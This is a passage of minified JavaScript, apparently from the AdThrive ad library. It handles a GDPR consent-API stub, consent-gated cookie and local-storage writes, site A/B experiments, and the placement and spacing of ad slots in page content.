t=document.createElement(`iframe`);t.style.cssText=`display:none`,t.name=W,document.body.appendChild(t)};e()},Y=()=>{let e=window.__tcfapi;return typeof e==`function`&&!J(e)?e:void 0},X=()=>{let e=Y();if(e)for(;G.length>0;){let t=G.shift();if(t)try{e(t[0],t[1],t[2],t[3])}catch(e){e instanceof Error&&e.message}}},et=()=>{if(K)return;if(K=!0,Y()){X();return}let e=window.__tcfapi;Object.defineProperty(window,"__tcfapi",{configurable:!0,enumerable:!0,get:()=>e,set:t=>{e=t,typeof t==`function`&&!J(t)&&X()}})},tt=()=>{let e=(e,t=2,n,r)=>{if(e===void 0)return G;switch(e){case`ping`:typeof n==`function`&&n({gdprApplies:q,cmpLoaded:!1,cmpStatus:`stub`,apiVersion:`2.0`},!0);return;case`setGdprApplies`:parseInt(String(t),10)>=2&&typeof r==`boolean`&&(q=r,typeof n==`function`&&n(`set`,!0));return;default:G.push([e,t,n,r])}};return Object.defineProperty(e,U,{value:!0,configurable:!1,enumerable:!1,writable:!1}),e},nt=()=>{window.addEventListener(`message`,e=>{let t=typeof e.data==`string`,n={};if(t)try{n=JSON.parse(e.data)}catch{return}else n=e.data;let r=typeof n==`object`&&n?n.__tcfapiCall:void 0;if(!r)return;let i=e.source;window.__tcfapi(r.command,r.version,(e,n)=>{let a={__tcfapiReturn:{returnValue:e,success:n,callId:r.callId}};i==null||i.postMessage(t?JSON.stringify(a):a,`*`)},r.parameter)},!1)},rt=()=>{if(et(),Y())return!1;let e=!1;return J(window.__tcfapi)||(window.__tcfapi=tt(),nt(),e=!0),$e(),window.__tcfapiQueue=G,e},it=(e,t=2,n,r)=>{if(e===void 0)return;let i=Y();i?i(e,t,n,r):(G.push([e,t,n,r]),rt())},at=(e,t=2,n,r)=>{it(e,t,n,r)},ot=(e=1e4)=>new Promise((t,n)=>{let r,i=!1,a=(e,a)=>{i||(i=!0,r&&clearTimeout(r),a&&e?t(e):n(Error(`Failed to retrieve TCData`)))};e>0&&(r=setTimeout(()=>{i||(i=!0,Qe(a,2),n(Error(`TCF API request timed out`)))},e)),at(`getTCData`,2,a)}),st=[`mcmpfreqrec`],Z=new class extends Ze{constructor(...e){super(...e),s(this,`name`,`BrowserStorage`),s(this,`disable`,!1),s(this,`gdprPurposes`,[1]),s(this,`_sessionStorageHandlerQueue`,[]),s(this,`_localStorageHandlerQueue`,[]),s(this,`_cookieHandlerQueue`,[]),s(this,`_gdpr`,void 0),s(this,`_shouldQueue`,!1),s(this,`_storageConsentGranted`,void 0),s(this,`_storageConsentUpdateInFlight`,0),s(this,`_storageConsentBeforeLatestUpdate`,void 0)}init(e,t){this._gdpr=e.gdpr===`true`,this._shouldQueue=this._gdpr,this._gdpr&&t&&(t.consentResponseCaptured.on(()=>{this._refreshStorageConsent(`consentResponseCaptured`)}),t.consentChanged.on(()=>{this._refreshStorageConsent(`consentChanged`)}))}_isGdprFromGlobal(){if(typeof window>`u`||!window.adthrive)return!1;let e=window.adthrive;return`gdprEnabled`in e?!!e.gdprEnabled:e.gdpr===`true`}_shouldQueueWrite(){return this._gdpr===void 0?this._isGdprFromGlobal():this._gdpr&&this._shouldQueue}isInGdprQueueMode(){return this._shouldQueueWrite()}_refreshStorageConsent(e){this._storageConsentBeforeLatestUpdate=this._storageConsentGranted,this._storageConsentUpdateInFlight+=1,this._updateStorageConsent().catch(e=>{}).then(()=>{this._storageConsentUpdateInFlight=Math.max(0,this._storageConsentUpdateInFlight-1)})}async _updateStorageConsent(){var e;let t=await ot();!(t==null||(e=t.purpose)==null)&&e.consents&&(this._storageConsentGranted=t.purpose.consents[1]===!0)}_getStorageWriteAvailability(e,t){try{let n=window[e];n.setItem(t,`1`);let r=n.getItem(t);return n.removeItem(t),r===`1`?{available:!0}:{available:!1,error:Error(`${e} write probe value mismatch`)}}catch(e){return{available:!1,error:e}}}getStorageApiAvailability(){return{localStorage:this._getStorageWriteAvailability(`localStorage`,`__adthrive_localstorage_test__`).available,sessionStorage:this._getStorageWriteAvailability(`sessionStorage`,`__adthrive_sessionstorage_test__`).available}}clearQueue(e,t){t!==void 0&&(this._storageConsentGranted=t);let n=this._gdpr&&this._hasStorageConsent()===!1,r=e&&n&&this.disable===!1&&this._storageConsentUpdateInFlight>0&&this._storageConsentBeforeLatestUpdate===!1;r&&(this._storageConsentGranted=!0),e&&(!n||r)&&(this._shouldQueue=!1,this._sessionStorageHandlerQueue.forEach(e=>{this.setSessionStorage(e.key,e.value)}),this._localStorageHandlerQueue.forEach(e=>{if(e.key===`adthrive_abgroup`){let t=Object.keys(e.value)[0],n=e.value[t],r=e.value[`${t}_weight`];this.getOrSetABGroupLocalStorageValue(t,n,r,{value:24,unit:`hours`})}else e.expiry?e.type===`internal`?this.setExpirableInternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):this.setExpirableExternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):e.type===`internal`?this.setInternalLocalStorage(e.key,e.value):this.setExternalLocalStorage(e.key,e.value)}),this._cookieHandlerQueue.forEach(e=>{e.type===`internal`?this.setInternalCookie(e.key,e.value):this.setExternalCookie(e.key,e.value)})),this._sessionStorageHandlerQueue=[],this._localStorageHandlerQueue=[],this._cookieHandlerQueue=[]}readInternalCookie(e){return this._verifyInternalKey(e),this._readCookie(e)}readExternalCookie(e){return this._readCookie(e)}readExternalCookieList(e){return this._readCookieList(e)}getAllCookies(){return this._getCookies()}readInternalLocalStorage(e){return this._verifyInternalKey(e),this._readFromLocalStorage(e)}readExternalLocalStorage(e){return this._readFromLocalStorage(e)}readSessionStorage(e){let t=window.sessionStorage.getItem(e);if(!t)return null;try{return JSON.parse(t)}catch{return t}}getLocalStorageWriteAvailability(){return this._getStorageWriteAvailability(`localStorage`,`__adthrive_local_storage_probe__`)}deleteCookie(e){if(!this.disable){if(this._shouldQueueWrite()){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);return}document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}}purgeCookie(e){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);try{document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}catch{}}deleteLocalStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);return}window.localStorage.removeItem(e)}}purgeLocalStorage(e){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);try{window.localStorage.removeItem(e)}catch{}}deleteSessionStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);return}window.sessionStorage.removeItem(e)}}purgeSessionStorage(e){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);try{window.sessionStorage.removeItem(e)}catch{}}_hasStorageConsent(){if(this._storageConsentGranted!==void 0)return this._storageConsentGranted}setInternalCookie(e,t,n){this.disable||(this._verifyInternalKey(e),this._setCookieValue(`internal`,e,t,n))}setExternalCookie(e,t,n){this.disable||this._setCookieValue(`external`,e,t,n)}setInternalLocalStorage(e,t){if(!this.disable)if(this._verifyInternalKey(e),this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExternalLocalStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t,type:`external`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExpirableInternalLocalStorage(e,t,n){if(!this.disable){this._verifyInternalKey(e);try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}}setExpirableExternalLocalStorage(e,t,n){if(!this.disable)try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:JSON.stringify(t),type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}setSessionStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t};this._sessionStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.sessionStorage.setItem(e,n)}}getOrSetABGroupLocalStorageValue(e,t,n,r,i=!0){let a=`adthrive_abgroup`;if(this._shouldQueueWrite()){let o={[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,o,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,o),[t,n]}let o=this.readInternalLocalStorage(a);if(o!==null){let t=o[e],n=o[`${e}_weight`]??null;if(this._isValidABGroupLocalStorageValue(t))return[t,n]}let s={...o,[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,s,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,s),[t,n]}_isValidABGroupLocalStorageValue(e){return e!=null&&!(typeof e==`number`&&isNaN(e))}_getExpiryDate({value:e,unit:t}){let n=new Date;return t===`milliseconds`?n.setTime(n.getTime()+e):t==`seconds`?n.setTime(n.getTime()+e*1e3):t===`minutes`?n.setTime(n.getTime()+e*60*1e3):t===`hours`?n.setTime(n.getTime()+e*60*60*1e3):t===`days`?n.setTime(n.getTime()+e*24*60*60*1e3):t===`months`&&n.setTime(n.getTime()+e*30*24*60*60*1e3),n.toUTCString()}_resetExpiry(e){return e.expires=this._getExpiryDate(e.expiry),e}_readCookie(e){let t=document.cookie.split(`; `).find(t=>t.split(`=`)[0]===e);if(!t)return null;let n=t.split(`=`)[1];if(n)try{return JSON.parse(decodeURIComponent(n))}catch{return decodeURIComponent(n)}return null}_readCookieList(e){let t;for(let n of document.cookie.split(`;`)){let[r,...i]=n.split(`=`);r.trim()===e&&(t=i.join(`=`).trim())}return t&&JSON.parse(t)||[]}_getCookies(){let e=[];return document.cookie.split(`;`).forEach(t=>{let[n,r]=t.split(`=`).map(e=>e.trim());e.push({name:n,value:r})}),e}_readFromLocalStorage(e){let t=window.localStorage.getItem(e);if(!t)return null;try{let n=JSON.parse(t),r=n.expires&&new Date().getTime()>=new Date(n.expires).getTime();if(e===`adthrive_abgroup`&&n.created)return window.localStorage.removeItem(e),null;if(n.resetOnRead&&n.expires&&!r){let t=this._resetExpiry(n);return window.localStorage.setItem(e,JSON.stringify(n)),t.value??t}else if(r)return window.localStorage.removeItem(e),null;if(Object.prototype.hasOwnProperty.call(n,`value`))try{return JSON.parse(n.value)}catch{return n.value}else return n}catch{return t}}_setCookieValue(e,t,n,r){try{if(this._shouldQueueWrite()){let r={key:t,value:n,type:e};this._cookieHandlerQueue.push(r)}else{let e=this._getExpiryDate((r==null?void 0:r.expiry)??{value:400,unit:`days`}),i=(r==null?void 0:r.sameSite)??`None`,a=(r==null?void 0:r.secure)??!0,o=typeof n==`object`?JSON.stringify(n):n;document.cookie=`${t}=${o}; SameSite=${i}; ${a?`Secure;`:``} expires=${e}; path=/`}}catch{}}_verifyInternalKey(e){let t=e.startsWith(`adthrive_`),n=e.startsWith(`adt_`);if(!t&&!n&&!st.includes(e))throw Error(`When reading an internal cookie, the key must start with "adthrive_" or "adt_" or be part of the allowed legacy keys.`)}},ct=e=>{let t=5381,n=e.length;for(;n;)t=t*33^e.charCodeAt(--n);return t>>>0},lt=e=>ct(e).toString(16),ut=e=>{if(e===null)return null;let t=e.map(({choice:e})=>e);return lt(JSON.stringify(t))},dt=(e,t)=>{var n;return((n=e.find(({choice:e})=>e===t))==null?void 0:n.weight)??null},ft=e=>e!=null&&!(typeof e==`number`&&isNaN(e)),pt=(e,t)=>{if(Z.isInGdprQueueMode())return t();let n=ut(e._choices),r=((e._expConfigABGroup?e._expConfigABGroup:e.abgroup)||e.key||``).toLowerCase(),i=n?`${r}_${n}`:r,a=e.localStoragePrefix?`${e.localStoragePrefix}-${i}`:i,o=Z.readInternalLocalStorage(`adthrive_branch`);(o&&o.enabled)===!1&&Z.deleteLocalStorage(a);let s=t(),c=dt(e._choices,s),[l,u]=Z.getOrSetABGroupLocalStorageValue(a,s,c,{value:24,unit:`hours`});return e._stickyResult=l,e._stickyWeight=u,l},mt=(e=window.location.search)=>{let t=+(e.indexOf(`?`)===0);return e.slice(t).split(`&`).reduce((e,t)=>{let[n,r]=t.split(`=`);return e.set(n,r),e},new Map)},ht=e=>{let t={},n=mt().get(e);if(n)try{let r=decodeURIComponent(n).replace(/\+/g,``);t=JSON.parse(r),F.event(`ExperimentOverridesUtil`,`getExperimentOverrides`,e,t)}catch(e){e instanceof URIError}return t},gt=(e,t)=>typeof e==typeof t,_t=(e,t)=>{let n=e.adDensityEnabled,r=e.adDensityLayout.pageOverrides.find(e=>!!document.querySelector(e.pageSelector)&&(e[t].onePerViewport||typeof e[t].adDensity==`number`));return n?!r:!0},vt=e=>{var t;let n=(t=e.videoPlayers)==null||(t=t.partners)==null||(t=t.stickyOutstream)==null?void 0:t.blockedPageSelectors;return n?!document.querySelector(n):!0},yt=e=>{let t=e.adOptions.interstitialBlockedPageSelectors;return t?!document.querySelector(t):!0},bt=(e,t,n)=>{switch(t){case H.AdDensity:return _t(e,n);case H.StickyOutstream:return vt(e);case H.Interstitial:return yt(e);default:return!0}},xt=e=>e.length===1,St=e=>{let t=e.reduce((e,t)=>t.weight?t.weight+e:e,0);return e.length>0&&e.every(e=>{let t=e.value,n=e.weight;return!!(t!=null&&!(typeof t==`number`&&isNaN(t))&&n)})&&t===100},Ct=(e,t)=>{if(!e)return!1;let n=!!e.enabled,r=e.dateStart==null||Date.now()>=e.dateStart,i=e.dateEnd==null||Date.now()<=e.dateEnd,a=e.selector===null||e.selector!==``&&!!document.querySelector(e.selector),o=e.platform===`mobile`&&t===`mobile`,s=e.platform===`desktop`&&t===`desktop`,c=e.platform===null||e.platform===`all`||o||s,l=e.experimentType===`bernoulliTrial`?xt(e.variants):St(e.variants);return l||F.error(`SiteTest`,`validateSiteExperiment`,`experiment presented invalid choices for key:`,e.key,e.variants),n&&r&&i&&a&&c&&l};var wt=class{constructor(e){var t;s(this,`siteExperiments`,[]),s(this,`_clsOptions`,void 0),s(this,`_device`,void 0),this._clsOptions=e,this._device=D()?`mobile`:`desktop`,this.siteExperiments=((t=this._clsOptions.siteAds.siteExperiments)==null?void 0:t.filter(e=>{let t=e.key,n=Ct(e,this._device),r=bt(this._clsOptions.siteAds,t,this._device);return n&&r}))??[]}getSiteExperimentByKey(e){let t=this.siteExperiments.filter(t=>t.key.toLowerCase()===e.toLowerCase())[0],n=ht(`at_site_features`),r=gt(t!=null&&t.variants[1]?t==null?void 0:t.variants[1].value:t==null?void 0:t.variants[0].value,n[e]);return t&&n[e]&&r&&(t.variants=[{displayName:`test`,value:n[e],weight:100,id:0}]),t}},Tt=class{constructor(){s(this,`experimentConfig`,void 0)}get enabled(){return this.experimentConfig!==void 0}_isValidResult(e,t=()=>!0){return t()&&ft(e)}},Et=class extends Tt{constructor(...e){super(...e),s(this,`_resultValidator`,()=>!0)}_isValidResult(e){return super._isValidResult(e,()=>this._resultValidator(e)||e===`control`)}run(){if(!this.enabled)return F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to control.`),`control`;if(!this._mappedChoices||this._mappedChoices.length===0)return F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`No experiment variants found. Defaulting to control.`),`control`;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to control.`),`control`)}},Dt=class extends Et{constructor(e){super(),s(this,`_choices`,[]),s(this,`_mappedChoices`,[]),s(this,`_result`,``),s(this,`_clsSiteExperiments`,void 0),s(this,`_resultValidator`,e=>typeof e==`string`),s(this,`key`,H.AdLayout),s(this,`abgroup`,H.AdLayout),this._clsSiteExperiments=new wt(e),this.experimentConfig=this._clsSiteExperiments.getSiteExperimentByKey(this.key),this.enabled&&this.experimentConfig&&(this._choices=this.experimentConfig.variants,this._mappedChoices=this._mapChoices(),this._result=this.run(),e.setWeightedChoiceExperiment(this.abgroup,this._result,!0))}get result(){return this._result}run(){return pt(this,()=>{if(!this.enabled)return F.error(`CLSAdLayoutSiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to empty class name.`),``;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSAdLayoutSiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to empty class name.`),``)})}_mapChoices(){return this._choices.map(({weight:e,value:t})=>({weight:e,choice:t}))}},Ot=class extends Et{constructor(e){super(),s(this,`_choices`,[]),s(this,`_mappedChoices`,[]),s(this,`_result`,`control`),s(this,`_clsSiteExperiments`,void 0),s(this,`_resultValidator`,e=>typeof e==`number`),s(this,`key`,H.AdDensity),s(this,`abgroup`,H.AdDensity),this._clsSiteExperiments=new wt(e),this.experimentConfig=this._clsSiteExperiments.getSiteExperimentByKey(this.key),this.enabled&&this.experimentConfig&&(this._choices=this.experimentConfig.variants,this._mappedChoices=this._mapChoices(),this._result=this.run(),e.setWeightedChoiceExperiment(this.abgroup,this._result,!0))}get result(){return this._result}run(){return pt(this,()=>{if(!this.enabled)return F.error(`CLSTargetAdDensitySiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to control.`),`control`;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSTargetAdDensitySiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to control.`),`control`)})}_mapChoices(){return this._choices.map(({weight:e,value:t})=>({weight:e,choice:typeof t==`number`?(t||0)/100:`control`}))}},kt=class{constructor(){s(this,`_clsOptions`,new c),s(this,`shouldUseCoreExperimentsConfig`,!1)}setExperimentKey(e=!1){this._clsOptions.setExperiment(this.abgroup,this.result,e)}},At=class extends kt{constructor(){super(),s(this,`key`,`SMRA`),s(this,`abgroup`,`smra1`),s(this,`_result`,!1),D()&&(this._result=this.run(),this.setExperimentKey())}run(){return new u(.05).get()}get result(){return this._result}};let Q=`250px`;var jt=class{constructor(t,n){this._clsOptions=t,this._adInjectionMap=n,s(this,`_recipeCount`,0),s(this,`_mainContentHeight`,0),s(this,`_mainContentDiv`,null),s(this,`_totalAvailableElements`,[]),s(this,`_densityElementCoords`,void 0),s(this,`_minDivHeight`,250),s(this,`_densityDevice`,I.Desktop),s(this,`_pubLog`,{onePerViewport:!1,targetDensity:0,targetDensityUnits:0,combinedMax:0}),s(this,`_smallerIncrementAttempts`,0),s(this,`_absoluteMinimumSpacingByDevice`,250),s(this,`_usedAbsoluteMinimum`,!1),s(this,`_infPageEndOffset`,0),s(this,`locationMaxLazySequence`,new Map([[e.Recipe,5]])),s(this,`locationToMinHeight`,{Below_Post:Q,Content:Q,Recipe:Q,Sidebar:Q}),s(this,`_device`,void 0),s(this,`_smallMobileRecipeAdsExperimentEnabled`,void 0),s(this,`_clsTargetAdDensitySiteExperiment`,void 0);let{tablet:r,desktop:i}=this._clsOptions.siteAds.breakpoints;this._device=Ie(r,i),this._smallMobileRecipeAdsExperimentEnabled=new At().result,this._isSmallMobileRecipeAdLocation(e.Recipe)&&(this.locationToMinHeight.Recipe=`100px`),this._clsTargetAdDensitySiteExperiment=this._clsOptions.siteAds.siteExperiments?new Ot(this._clsOptions):null}start(){try{var e;De(this._device);let n=new Dt(this._clsOptions);if(n.enabled){let e=n.result,t=e.startsWith(`.`)?e.substring(1):e;if(Ye(t))try{document.body.classList.add(t)}catch(e){F.error(`ClsDynamicAdsInjector`,`start`,`Uncaught CSS Class error: ${e}`)}else F.error(`ClsDynamicAdsInjector`,`start`,`Invalid class name: ${t}`)}let r=Ce(this._device,this._clsOptions.siteAds).filter(e=>this._locationEnabled(e)).filter(e=>Te(e,this._device)).filter(e=>Ee(e)),i=this.inject(r),a=this._clsOptions.siteAds.adOptions.stickyContainerConfig;if(!(a==null||(e=a.content)==null)&&e.enabled&&!B(a.blockedSelectors||[],this._logInvalidBlockedSelector.bind(this))){var t;qe(a==null||(t=a.content)==null?void 0:t.minHeight)}i.forEach(e=>this._clsOptions.setInjectedSlots(e))}catch(e){F.error(`ClsDynamicAdsInjector`,`start`,e)}}inject(t,n=document){this._densityElementCoords=void 0,this._densityDevice=this._device===`desktop`?I.Desktop:I.Mobile,this._overrideDefaultAdDensitySettingsWithSiteExperiment();let r=this._clsOptions.siteAds,i=k(r.adDensityEnabled,!0),a=r.adDensityLayout&&i,o=t.filter(t=>a?t.location!==e.Content:t),s=t.filter(t=>a?t.location===e.Content:null),c=s.length?this._preserveDensityMeasurements(s,n):!1;return this._capturePreSlotInsertionPageAreaMeasurement(),[...o.length?this._injectNonDensitySlots(o,n):[],...s.length?this._injectDensitySlots(s,n,c):[]]}_injectNonDensitySlots(t,n=document){var r;let i=[],a=[],o=!1;if(t.some(t=>t.location===e.Recipe&&t.sticky)&&!B(((r=this._clsOptions.siteAds.adOptions.stickyContainerConfig)==null?void 0:r.blockedSelectors)||[],this._logInvalidBlockedSelector.bind(this))){var s,c;let t=this._clsOptions.siteAds.adOptions.stickyContainerConfig;Je(this._isSmallMobileRecipeAdLocation(e.Recipe)?100:this._device===`phone`?t==null||(s=t.recipeMobile)==null?void 0:s.minHeight:t==null||(c=t.recipeDesktop)==null?void 0:c.minHeight),o=!0}for(let e of t)this._insertNonDensityAds(e,i,a,n);return o||a.forEach(({location:e,element:t})=>{t.style.minHeight=this.locationToMinHeight[e]}),i}_isSmallMobileRecipeAdLocation(e){return this._smallMobileRecipeAdsExperimentEnabled&&A(e,this._device)}_injectDensitySlots(e,t=document,n=!1){try{n||(this._calculateMainContentHeightAndAllElements(e,t),this._capturePreSlotInsertionMainContentMeasurement(),this._captureDensityElementCoords())}catch{return[]}let{onePerViewport:r,targetAll:i,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}=this._getDensitySettings(e,t);return this._absoluteMinimumSpacingByDevice=r?window.innerHeight:this._absoluteMinimumSpacingByDevice,s?(this._adInjectionMap.filterUsed(),this._findElementsForAds(s,r,i,o,a,t),this._insertAds()):[]}_preserveDensityMeasurements(e,t=document){try{return this._calculateMainContentHeightAndAllElements(e,t),this._capturePreSlotInsertionMainContentMeasurement(),this._captureDensityElementCoords(),!0}catch{return!1}}_overrideDefaultAdDensitySettingsWithSiteExperiment(){var e;if((e=this._clsTargetAdDensitySiteExperiment)!=null&&e.enabled){let e=this._clsTargetAdDensitySiteExperiment.result;typeof e==`number`&&(this._clsOptions.siteAds.adDensityEnabled=!0,this._clsOptions.siteAds.adDensityLayout[this._densityDevice].adDensity=e)}}_getDensitySettings(e,t=document){let{onePerViewport:n,targetAll:r,targetDensity:i,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}=Ne({settings:this._clsOptions.siteAds.adDensityLayout,densityDevice:this._densityDevice,dynamicAds:e,target:t,totalAvailableElements:this._totalAvailableElements.length,mainContentHeight:this._mainContentHeight,minDivHeight:this._minDivHeight,recipeCount:this._recipeCount,selectorContext:this._getDynamicAdSelectorContext.bind(this),onInvalidSelector:({selector:e,selectorType:t,source:n,context:r,error:i})=>{}});return this._pubLog={onePerViewport:n,targetDensity:i,targetDensityUnits:a,combinedMax:o},{onePerViewport:n,targetAll:r,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}}_elementLargerThanMainContent(e){return e.offsetHeight>=this._mainContentHeight&&this._totalAvailableElements.length>1}_elementDisplayNone(e){let t=window.getComputedStyle(e,null).display;return t&&t===`none`||e.style.display===`none`}_isBelowMaxes(e,t){return this._adInjectionMap.map.length<e&&this._adInjectionMap.map.length<t}_findElementsForAds(e,t,n,r,i,a=document){this._clsOptions.targetDensityLog={onePerViewport:t,combinedMax:r,targetDensityUnits:i,targetDensityPercentage:this._pubLog.targetDensity,mainContentHeight:this._mainContentHeight,recipeCount:this._recipeCount,numberOfEls:this._totalAvailableElements.length};let o=t=>{for(let{dynamicAd:o,element:s}of this._totalAvailableElements)if(this._logDensityInfo(s,o.elementSelector,t),!(!n&&this._elementLargerThanMainContent(s)||this._elementDisplayNone(s)))if(this._isBelowMaxes(r,i)){if(this._checkElementSpacing({dynamicAd:o,element:s,insertEvery:t,targetAll:n,target:a}),this._hasReachedQuota(e))return}else break;this._hasReachedQuota(e)||!this._usedAbsoluteMinimum&&this._smallerIncrementAttempts<5&&(++this._smallerIncrementAttempts,o(this._getSmallerIncrement(t)))};o(this._getInsertEvery(e,t,i))}_hasReachedQuota(e){return this._adInjectionMap.map.length>=e}_getSmallerIncrement(e){let t=Fe(e,this._absoluteMinimumSpacingByDevice);return this._usedAbsoluteMinimum=t.usedAbsoluteMinimum,t.insertEvery}_insertNonDensityAds(t,n,r,i=document){let{spacing:a,nextAfter:o}=Me(t.spacing,window.innerHeight),s=0,c=this._repeatDynamicAds(t),l=this.getElements(t.elementSelector,i,t),u=this._shouldUseRegularSlotHeightForSpacing(t),d=a>0&&u?this._getElementSpacingBottoms(l):new Map,f=0;t.skip;for(let p=t.skip;p<l.length&&!(s+1>c.length);p+=t.every){let m=l[p];if(a>0){let e=u?(d.get(m)??R(m).bottom)+f:R(m).bottom;if(e<=o)continue;o=e+a}let h=c[s],g=`${h.location}_${h.sequence}`;n.some(e=>e.name===g)&&(s+=1);let _=this.getDynamicElementId(h),v=L(t),y=Oe(t),b=t.location===e.Sidebar&&t.sticky?Ke(h.sequence):``,ee=[t.location===e.Recipe&&t.sticky?`adthrive-recipe-sticky-container`:``,v,y,...t.classNames];if(Xe(m,t.position,t.location)&&t.location===e.Recipe)continue;let x=this.addAd(m,_,t.position,ee,b);if(x){let a=we(h,x);if(a.length){let o={clsDynamicAd:t,dynamicAd:h,element:x,sizes:a,name:g,infinite:i!==document};n.push(o),r.push({location:h.location,element:x}),t.location===e.Recipe&&++this._recipeCount,s+=1,u&&(f+=this._getRegularSlotSpacingHeight(h.location))}m=b&&x.parentElement||x}}}_shouldUseRegularSlotHeightForSpacing(t){var n;return t.location===e.Recipe&&t.sticky&&!B(((n=this._clsOptions.siteAds.adOptions.stickyContainerConfig)==null?void 0:n.blockedSelectors)||[],this._logInvalidBlockedSelector.bind(this))}_getElementSpacingBottoms(e){return Array.from(e).reduce((e,t)=>(e.set(t,R(t).bottom),e),new Map)}_getRegularSlotSpacingHeight(e){let t=parseInt(this.locationToMinHeight[e],10);return Number.isFinite(t)?t:this._minDivHeight}_insertAds(){let e=[],t=0;return this._adInjectionMap.filterUsed(),this._adInjectionMap.map.forEach(({el:n,dynamicAd:r,target:i},a)=>{let o=Number(r.sequence)+a,s=r.max,c=r.lazy&&o>s;r.sequence=o,r.lazy=c;let l=this._addContentAd(n,r,i);l&&(r.used=!0,e.push(l),++t)}),e}_getInsertEvery(e,t,n){let r=Pe({totalAvailableElements:this._totalAvailableElements.length,targetDensityUnits:n,numberOfUnits:e,mainContentHeight:this._mainContentHeight,absoluteMinimumSpacing:this._absoluteMinimumSpacingByDevice,viewportHeight:window.innerHeight,onePerViewport:t});return this._usedAbsoluteMinimum=r.usedAbsoluteMinimum,r.insertEvery}_logDensityInfo(e,t,n){let{onePerViewport:r,targetDensity:i,targetDensityUnits:a,combinedMax:o}=this._pubLog;this._totalAvailableElements.length}_checkElementSpacing({dynamicAd:e,element:t,insertEvery:n,targetAll:r,target:i}){(this._isFirstAdInjected()||this._hasProperSpacing(t,e,r,n))&&this._markSpotForContentAd(t,{...e},i)}_isFirstAdInjected(){return!this._adInjectionMap.map.length}_markSpotForContentAd(e,t,n=document){let r=t.position===`beforebegin`||t.position===`afterbegin`;this._adInjectionMap.addSorted(e,this._getElementCoords(e,r),t,n)}_hasProperSpacing(t,n,r,i){let a=n.position===`beforebegin`||n.position===`afterbegin`,o=n.position===`beforeend`||n.position===`afterbegin`,s=r||this._isElementFarEnoughFromOtherAdElements(t,i,a),c=o||this._isElementNotInRow(t,a),l=t.id.indexOf(`AdThrive_${e.Below_Post}`)===-1;return s&&c&&l}_isElementFarEnoughFromOtherAdElements(e,t,n){let r=this._getElementCoords(e,n),[i,a]=this._adInjectionMap.findNeighborIndices(r),o=i===null?void 0:this._adInjectionMap.map[i].coords,s=a===null?void 0:this._adInjectionMap.map[a].coords;return(o===void 0||r-t>o)&&(s===void 0||r+t<s)}_isElementNotInRow(e,t){let n=e.previousElementSibling,r=e.nextElementSibling,i=t?!n&&r||n&&e.tagName!==n.tagName?r:n:r;if(!i)return!0;let a=e.getBoundingClientRect();if(a.height===0)return!0;let o=i.getBoundingClientRect();return a.top!==o.top}_calculateMainContentHeightAndAllElements(e,t=document){let[n,r]=Ve(e,this._adInjectionMap,t);if(!n)throw Error(`No main content element found`);this._mainContentDiv=n,this._totalAvailableElements=r,this._mainContentHeight=He(this._mainContentDiv)}_captureDensityElementCoords(){this._densityElementCoords=this._totalAvailableElements.reduce((e,{element:t})=>(e.set(t,{bottom:this._getLiveElementCoords(t),top:this._getLiveElementCoords(t,!0)}),e),new 